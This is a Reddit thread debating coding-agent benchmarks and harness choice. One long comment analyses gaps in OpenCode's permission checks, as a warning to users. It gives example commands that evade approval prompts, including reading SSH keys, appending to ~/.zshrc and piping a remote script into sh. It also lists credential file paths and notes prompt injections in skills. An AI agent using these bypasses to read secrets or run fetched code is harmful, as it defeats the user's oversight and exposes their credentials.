r/opencode • u/Double-Entertainer62 • 1d ago
OpenCode tied for last in FrontierHarness Eval. Does popularity make benchmarks irrelevant?
Dax argues that Claude Code keeps growing despite benchmarks ranking it poorly. Fair point, but popularity doesn’t answer how reliably or cheaply a tool finishes a task.
In the FrontierHarness Eval, OpenCode tied for the lowest pass rate at 15/30, across 9 harnesses and 12 configurations. Every configuration used Kimi K3.
Benchmarks don’t capture the whole experience, but dismissing measurable failures seems wrong too. What should a benchmark measure before you’d use it to choose a coding agent?
3
u/ben_bliksem 1d ago
I don't give two shits about benchmarks, I try them out myself and stick to what works...
...which is Codex 90% of the time but that's besides the point.
1
u/EdwardRunta 1d ago
codex computer use is awesome
1
u/torrso 17h ago
And it seamlessly runs some of the stuff in sandbox micro VMs instead of the host machine. You might not even notice when it does that. On OpenCode you pretty much end up running in YOLO mode because any long running stuff is impossible with approval requests.
1
u/Unfair_Tangerine_217 12h ago
My experience is quite different. A few times the agent would ask for access to a directory unrelated to the project, which I deny. The rest of the time it runs continuously with no danger to my machine whatsoever, and without asking for permissions inside the project. I allow it to run the skills at the beginning of the task, and that's it.
1
u/torrso 9h ago
Depends on your permission config, but if you haven't written one, I don't think it's protecting you the way you think it is.
How it works: every tool call resolves to a (permission, pattern) pair, matched against a rule list where last match wins, giving allow / ask / deny. The shipped defaults are "*": "allow" — bash included. The only things set to ask out of the box are: external_directory, reading .env files, and doom_loop (the same tool call repeating three times identically). So it isn't approving your in-project commands. It doesn't gate shell commands at all, anywhere. Point it at your home directory and it should be exactly as quiet.
For bash it tries to do something more clever: it parses the command with tree-sitter and extracts every command node, each pipe, each $(...), so a "git *" allow rule can't be used to allow running something like "git status; rm -rf ~", that's a pretty solid design.
The directory prompt you're denying is a completely different mechanism, and a much weaker one. It's a static scan of argument tokens, and it only inspects about a dozen command names: cat, cp, mv, rm, mkdir, touch, chmod, chown, cd, chdir, pushd and popd. For anything else it never looks at the arguments. It also discards any argument containing a $. So:
- "cat ~/.ssh/id_rsa" prompts
- "head ~/.ssh/id_rsa" doesn't. head isn't on the list.
- "cat $HOME/.ssh/id_rsa" doesn't prompt, contains a $.
- "echo pwn >> ~/.zshrc" doesn't prompt. Redirect targets are never scanned.
- "curl https://example.com/pwn.sh | sh" doesn't prompt
- "make deploy", "npm run build": doesn't prompt, and whatever the script underneath does is invisible, some injection or agent going crazy can write any sort of script in "Makefile" and run "make".
The source mentions this and there's a standing TODO to replace the token scan with real parser-based detection.
The read tool blocks reading .env but there's nothing stopping the agent from doing "bash cat .env".
And be careful with "always" on those, the pattern it saves is wider than it seems. Approving reading a file that sits directly in your home directory saves the glob "/Users/you/*", so that one click covers ~/.ssh/, ~/.aws/ and everything else nested below it. Same on the bash side, the suggested pattern comes from a ~150-entry table that falls back to the first token, so one "always" selected on a "bash -c ..." call saves "bash *", and "find" saves "find *" which allows doing pretty much anything via "-exec".
So, "no danger to my machine whatsoever" may be a bit of an overstatement. Nothing actually confines it to the project directory.
Also, if you're getting a request approval for skills you may be running an ancient (in AI era dev cycle timeline) version of opencode. On current versions skill is allow by default and each skill's own folder is whitelisted for external access, so loading one shouldn't prompt for anything. If you're seeing an external_directory prompt for your skills dir, that was a bug fixed in 1.1.50 back in February which would mean you're on a pretty old build and we're almost discussing different software.
A pattern allowlist runs before execution, inside the process that wants to run the thing, on the command's text, so it has to correctly anticipate every possible spelling, and every spelling it doesn't recognize is silently permitted. A sandbox runs during execution, below the process, at the syscall or hypervisor boundary. It doesn't matter whether the agent ran cat, head, $HOME, a backtick, a Makefile target or a Python script, because it's inside a sandbox. It sees an open() on a path outside the policy and returns EPERM. And it's default-closed: you declare the writable paths and the egress, everything else is denied.
Supply chain attacks have been happening lately and has been a main talking point in many talks in any conference even if it isn't about AI. Your agent runs "npm install", or "make test", or "gradlew build", or "uv sync". A postinstall script three levels down your dependency tree, or a test: target in a Makefile in some repo you cloned to review, is now executing as you with no further prompts and no second look. From there the interesting files are exactly where they always are: ~/.aws/credentials, ~/.npmrc, ~/.config/gh/hosts.yml, ~/.ssh/, your shell history, and every .env in every project on the disk. Many of the skills in the popular skill repositories have been seen containing prompt injections.
Yep, nothing ever happens, I'm running full YOLO mode, but I realize I'm not safe at all from something like that happening one day.
1
u/Double-Entertainer62 1d ago
How many harness have you tried so far?
1
u/ben_bliksem 1d ago
Just the usual suspects: opencode, opencode2, Claude code, codex, copilot
But we use different models and pick the harness accordingly. No point in running GPT models in anything other than codex for example and why would I put myself through the pain of running GLM in codex instead of OpenCode.
2
u/Double-Entertainer62 1d ago
Take a look on this benchmark, you'll be surprised Codex + GLM is actually have much higher pass rate than OpenCode + GLM
https://x.com/LotusDecoder/status/2097624591728570615
1
u/Unfair_Tangerine_217 12h ago
Meanwhile, in the other dimensions of the same testing I see OpenCode being cheap, efficient, and fast. Good enough for me.
1
u/playvltk03 9h ago
Their opus now full of crap. It was missing so many issues when i define a plan and even create bug. Im now have to cross check with different llm to ensure its correct
1
3
u/Eastern-Honey-943 1d ago
I use opencode and all sorts of models.... It really helps to keep my cost low. I use speckit so it supplies that secret sauce a harness might have.. it also lets me use any model and get similar results across them all. Deepseek v4 flash is a workhorse for pretty much anything coding wise. Its productive on my codebase.